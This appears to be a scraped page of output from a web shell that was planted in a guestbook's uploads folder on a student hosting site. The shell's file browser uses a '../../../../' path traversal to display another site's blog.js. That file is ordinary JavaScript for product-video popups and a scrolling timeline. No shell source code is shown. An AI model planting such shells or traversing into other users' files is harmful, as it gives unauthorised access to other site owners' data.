🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 Viewing: ../../../../586648.klas4s23.mid-ica.nl/public_html/ergowijzer/main/blog/blog.js

// Video data voor elk product
const videoData = {
    glasses: {
        url: "https://www.youtube.com/embed/dUiWiVEUcpc",
        title: "Ergonomic Glasses",
        creator: "Sander Tigelaar"
    },
    mouse: {
        url: "https://www.youtube.com/embed/VIDEO_ID_2",
        title: "Ergonomic Mouses",
        creator: "Robin Bosma"
    },
    keyboards: {
        url: "engels-video.mp4",
        title: "Ergonomic Keyboards",
        creator: "Tessa Bunt",
        type: "mp4"
    },
    desks: {
        url: "https://www.youtube.com/embed/VIDEO_ID_4",
        title: "Adjustable Desks",
        creator: "Colin Pouw"
    },
    chairs: {
        url: "https://www.youtube.com/embed/VIDEO_ID_5",
        title: "Ergonomic Chairs",
        creator: "Sascha Marijnissen"
    }
};

// Koppel knoppen aan video's
document.querySelectorAll('.video-button').forEach(button => {
    button.addEventListener('click', function(e) {
        e.preventDefault();
        
        // Bepaal welk product (op basis van de parent card)
        const card = this.closest('.tool-card');
        let productType;
        
        if (card.querySelector('h3').textContent.includes('Glasses')) productType = 'glasses';
        else if (card.querySelector('h3').textContent.includes('Mice')) productType = 'mice';
        else if (card.querySelector('h3').textContent.includes('Keyboards')) productType = 'keyboards';
        else if (card.querySelector('h3').textContent.includes('Desks')) productType = 'desks';
        else if (card.querySelector('h3').textContent.includes('Chairs')) productType = 'chairs';
        
        // Open pop-up met de juiste video
        const popup = document.getElementById('videoPopup');
        const video = videoData[productType];
        
        document.getElementById('videoTitle').textContent = video.title;
        document.getElementById('videoFrame').src = video.url;
        document.getElementById('videoCreator').textContent = `Video door: ${video.creator}`;
        
        popup.style.display = 'flex';
        document.body.style.overflow = 'hidden';
    });
});

// Sluitfunctie
document.getElementById('closeVideoBtn').addEventListener('click', function() {
    const popup = document.getElementById('videoPopup');
    const videoFrame = document.getElementById('videoFrame');
    
    popup.style.display = 'none';
    document.body.style.overflow = 'auto';
    videoFrame.src = ''; // Stop de video
});

// Sluiten wanneer er buiten geklikt wordt
document.getElementById('videoPopup').addEventListener('click', function(e) {
    if (e.target === this) {
        this.style.display = 'none';
        document.body.style.overflow = 'auto';
        document.getElementById('videoFrame').src = '';
    }
});


// ------------------------------------TIMELINE ------------------------------------------

(function () {
    "use strict";
  
    var items = document.querySelectorAll(".timeline li");
    function isElementInViewport(el) {
      var rect = el.getBoundingClientRect();
      return (
        rect.top >= 0 &&
        rect.left >= 0 &&
        rect.bottom <=
          (window.innerHeight || document.documentElement.clientHeight) &&
        rect.right <= (window.innerWidth || document.documentElement.clientWidth)
      );
    }
  
    function callbackFunc() {
      for (var i = 0; i < items.length; i++) {
        if (isElementInViewport(items[i])) {
          items[i].classList.add("in-view");
        }
      }
    }
  
    // listen for events
    window.addEventListener("load", callbackFunc);
    window.addEventListener("resize", callbackFunc);
    window.addEventListener("scroll", callbackFunc);
  })();
  

🎯 Available Actions